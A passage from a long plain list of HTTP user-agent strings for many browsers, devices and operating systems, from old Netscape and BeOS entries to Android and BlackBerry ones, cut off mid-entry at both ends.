sun4u) Mozilla/4.79 [en] (X11; U; SunOS 5.8 sun4u) Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.79 [fr] (X11; U; Linux 2.4.18-24.7.xcustom i686) Mozilla/4.79 [fr] (X11; U; Linux 2.4.18-27.7.xcustom i686) Mozilla/4.79 [fr] (X11; U; Linux 2.4.18-4 i686) Mozilla/4.79C-SGI [en] (X11; I; IRIX64 6.5 IP28) Mozilla/4.79C-SGI [en] (X11; I; IRIX64 6.5 IP30) Mozilla/4.7C-SGI [en] (X11; I; IRIX 6.5 IP32) Mozilla/4.8 (Macintosh; U; PPC) Mozilla/4.8 [de] (Windows NT 5.1; U) Mozilla/4.8 [de] (Windows NT 6.0; U; de) Mozilla/4.8 [de] (X11; U; Linux 2.4.19-4GB i686) Mozilla/4.8 [de] (X11; U; Linux 2.4.20-4GB i686) Mozilla/4.8 [en-US] (Windows NT 6.0; U) Mozilla/4.8 [en] (FreeBSD; U) Mozilla/4.8 [en] (Linux; U) Mozilla/4.8 [en] (Win98; U) Mozilla/4.8 [en] (WinNT; U) Mozilla/4.8 [en] (Windows NT 5.0; U) Mozilla/4.8 [en] (Windows NT 5.1; U) Mozilla/4.8 [en] (Windows NT 6.0; U) Mozilla/4.8 [en] (Windows NT 6.0; U) Paros/3.2.13 Mozilla/4.8 [en] (Windows NT 6.0; en-US; U) Mozilla/4.8 [en] (X11; U; HP-UX B.11.00 9000/785) Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27) Mozilla/4.8 [en] (X11; U; Linux 2.4.20-4GB-athlon i686) Mozilla/4.8 [en] (X11; U; Linux 2.6.12-1.1372_FC3 i686; Nav) Mozilla/4.8 [en] (X11; U; SunOS 5.8 sun4m; Nav) Mozilla/4.8 [en] (X11; U; SunOS 5.8 sun4u) Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u) Mozilla/4.8 [es] (Windows NT 5.1; U) Mozilla/4.8 [nl] (Windows NT 6.0; U) Mozilla/4.8 [pl] (Windows NT 5.1; U) Mozilla/4.8C-SGI [en] (X11; U; IRIX64 6.5 IP27) Mozilla/45.0 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8) Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.2) Gecko/2008092702 Gentoo Firefox/3.0.2 Mozilla/5.0 ( ; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Mozilla/5.0 ( en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (+http://www.eurekster.com/mammoth) Mammoth/0.1 Mozilla/5.0 (+http://www.sli-systems.com/) Mammoth/0.1 Mozilla/5.0 (Amiga; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (Android 2.2.2; Linux; Opera Mobi/ADR-1103311355; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Android 2.2; zh-cn; HTC Desire)/GoBrowser Mozilla/5.0 (Android 4.2; rv:19.0) Gecko/20121129 Firefox/19.0 Mozilla/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0 Mozilla/5.0 (Android) Gecko Firefox Fennec/4.0 Mozilla/5.0 (Android) Gecko/20110318 Firefox/4.0 Fennec/4.0 Mozilla/5.0 (Android; Linux arm71; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (Android; Linux arm7l; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (Android; Linux armv71; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 Mozilla/5.0 (Android; Linux armv71; rv:5.0) Gecko/20110615 Fennec/5.0 Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1 Mozilla/5.0 (Android; Linux armv7l; rv:2.0) Gecko/20110103 Firefox/4.0 Fennec/4.0 Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Fennec/2.0.1 Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1 Mozilla/5.0 (Android; Linux armv7l; rv:2.0b9pre) Gecko/20110103 Firefox/4.0b9pre Fennec/4.0b4pre Mozilla/5.0 (Android; Linux armv7l; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 Mozilla/5.0 (Android; Linux armv7l; rv:2.1.1) Gecko/20110415 Fennec/4.0.1 Mozilla/5.0 (Android; Linux armv7l; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (Android; Linux armv7l; rv:2.2a1pre) Gecko/20110402 Firefox/4.2a1pre Fennec/4.1a1pre Mozilla/5.0 (Android; Linux armv7l; rv:2.2a1pre) Gecko/20110403 Firefox/4.2a1pre Fennec/4.1a1pre Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0 Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110614 Firefox/5.0 Fennec/5.0 Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0 Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0 Mozilla/5.0 (Android; Linux armv7l;rv:5.0) Gecko/20110603 Firefox/5.0 Fennec/5.0 Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0 Mozilla/5.0 (Android; U; Android; pl; rv:1.9.2.8) Gecko/20100202 Firefox/3.5.8 Mozilla/5.0 (Android; WOW64; Linux armv7l;rv:5.0) Gecko/20110603 Firefox/5.0 Fennec/5.0 Mozilla/5.0 (BB10; Touch) AppleWebKit/537.10+ (KHTML, like Gecko) Version/10.1.0.2342 Mobile Safari/537.10+ Mozilla/5.0 (BeOS; U; BeOS BeBox; fr; rv:1.9) Gecko/2008052906 BonEcho/2.0 Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.1) Gecko/20061220 BonEcho/2.0.0.1 Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.10) Gecko/20071128 BonEcho/2.0.0.10 Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17 Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.6) Gecko/20070731 BonEcho/2.0.0.6 Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.7) Gecko/20070917 BonEcho/2.0.0.7 Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1b2) Gecko/20060901 Firefox/2.0b2 Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1b2) Gecko/20070804 Firefox/2.0.0.6 Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1 Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a Mozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.10pre) Gecko/20080112 SeaMonkey/1.1.7pre Mozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.14) Gecko/20080429 BonEcho/2.0.0.14 Mozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17 Mozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.18) Gecko/20081114 BonEcho/2.0.0.18 Mozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.21pre) Gecko/20090218 BonEcho/2.0.0.21pre Mozilla/5.0 (BlackBerry; U; BlackBerry 9300; en) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.570 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9300; es) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.668 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9300; it) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.418 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9300; it) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.666 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9330; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9360; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.530 Mobile Safari/534.11+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9360; it) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.336 Mobile Safari/534.11+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9380; en-GB) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.117 Mobile Safari/534.11+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9700; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.380 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9700; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.546 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9700; pt) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.546 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1 (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1 Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.448 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-GB) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko) Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.201 Mobile Safari/534.1+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.446 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.448 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.450 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.466 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.701 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; fr) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; it) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.668 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; tr) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; zh-TW) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; zh-TW) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.448 Mobile Safari/534.8+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9860; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+ Mozilla/5.0 (BlackBerry; U; BlackBerry 9930; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.267 Mobile Safari/534.11+ Mozilla/5.0 (Clustered-Search-Bot/1.0; support@clush.com; http://www.clush.com/) Mozilla/5.0 (Darwin; FreeBSD 5.6; en-GB; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0 Mozilla/5.0 (Darwin; FreeBSD 5.6; en-GB; rv:1.9.1b3pre)Gecko/20081211 K-Meleon/1.5.2 Mozilla/5.0 (Future Star Technologies Corp.; Star-Blade OS; x86_64; U; en-US) iNet Browser 4.7 Mozilla/5.0 (Gecko/20070310 Mozshot/0.0.20070628; http://mozshot.nemui.org/) Mozilla/5.0 (Linux 2.4.18-18.7.x i686; U) Opera 6.03 [en] Mozilla/5.0 (Linux 2.4.18-ltsp-1 i686; U) Opera 6.1 [en] Mozilla/5.0 (Linux 2.4.19-16mdk i686; U) Opera 6.11 [en] Mozilla/5.0 (Linux 2.4.21-0.13mdk i686; U) Opera 7.11 [en] Mozilla/5.0 (Linux U; en-US) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) Version/4.0 Kindle/3.0 (screen 600x800; rotate) Mozilla/5.0 (Linux X86; U; Debian SID; it; rv:1.9.0.1) Gecko/2008070208 Debian IceWeasel/3.0.1 Mozilla/5.0 (Linux arm) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 Mozilla/5.0 (Linux armv6l; Maemo; Opera Mobi/8; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Linux armv7l; Maemo; Opera Mobi/4; U; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.1 Mozilla/5.0 (Linux i686 ; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.70 Mozilla/5.0 (Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 Mozilla/5.0 (Linux i686; de-AT; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Linux) Gecko Iceweasel (Debian) Mnenhy Mozilla/5.0 (Linux) Gecko/20061122 Firefox/2.0 Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36 Mozilla/5.0 (Linux; Android 4.1.2; SHV-E250S Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.82 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 4.3; SPH-L710 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.99 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 4.4.2; LG-V410 Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.103 Safari/537.36 Mozilla/5.0 (Linux; Android 4.4.2; LGMS323 Build/KOT49I.MS32310b) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.103 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-G900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-T537A Build/KOT49H) AppleWebKit/537.36 (KHTML like Gecko) Chrome/35.0.1916.141 Safari/537.36 Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.81 Safari/537.36 Mozilla/5.0 (Linux; Android 4.4.4; Nexus 7 Build/KTU84P) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.135 Safari/537.36 Mozilla/5.0 (Linux; Android 4.4.4; XT1032 Build/KXB21.14-L1.61) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 4.4; Nexus 5 Build/BuildID) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 5.0.1; SCH-R970 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Safari/537.36 Mozilla/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524 Mozilla/5.0 (Linux; Android 5.1; C6740N Build/LMY47O) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 6.0.1; SM-G900H Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 6.0; LG-D850 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.97 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 6.0; Nexus 5X Build/MDB08L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.0; LG-H918 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.0; LGL84VL Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.0; LGUS997 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.0; Moto G (5) Plus Build/NPNS25.137-35-5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.0; Nexus 9 Build/NRD90R) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Safari/537.36 Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G925R6 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.1.1; BBB100-1 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.1.1; Coolpad 3632A Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.1.1; XT1710-02 Build/NDS26.74-36) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.1.2; Nexus 6P Build/N2G48C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 7.1.2; Pixel Build/NHG47N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36 Mozilla/5.0 (Linux; Android 8.0.0; Pixel XL Build/OPR6.170623.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36 Mozilla/5.0 (Linux; U) Opera 6.02 [en] Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2 Mozilla/5.0 (Linux; U; Android 1.1; en-gb; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2 Mozilla/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build/PLAT-RC33) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 FirePHP/0.3 Mozilla/5.0 (Linux; U; Android 1.5; en-gb; T-Mobile_G2_Touch Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.5; en-us; T-Mobile G1 Build/CRB43) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari 525.20.1 Mozilla/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build/CRB17) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.5; fr-fr; GT-I5700 Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.6; ar-us; SonyEricssonX10i Build/R2BA026) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.6; en-us; SonyEricssonX10i Build/R1AA056) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.6; zh-cn; HTC Magic Build/DRC83) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.6; zh-cn; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 1.6; zh-tw; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 Mozilla/5.0 (Linux; U; Android 2.0.1; de-de; Milestone Build/SHOLS_U2_01.14.0) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.0; en-us; Milestone Build/ SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1-update1; da-dk; HTC Legend Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1-update1; es-mx; SonyEricssonE10a Build/2.0.A.0.504) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1-update1; ja-jp; SonyEricssonSO-01B Build/2.0.1.B.0.19) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC Desire 1.15.161.4 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC Hero Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC_Aria_A6380 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC_Desire_A8181 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC_Wildfire_A3333 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1; en-gb; HTC Legend 1.23.161.1 Build/ERD79) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build/cupcake) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1; zh-cn; HTC Hero Build/ERD79) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.1; zh-cn; HTC Legend Build/ERD79) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 Mozilla/5.0 (Linux; U; Android 2.2.1; de-ch; HTC Vision Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; HTC Magic Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; HTC Wildfire Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like 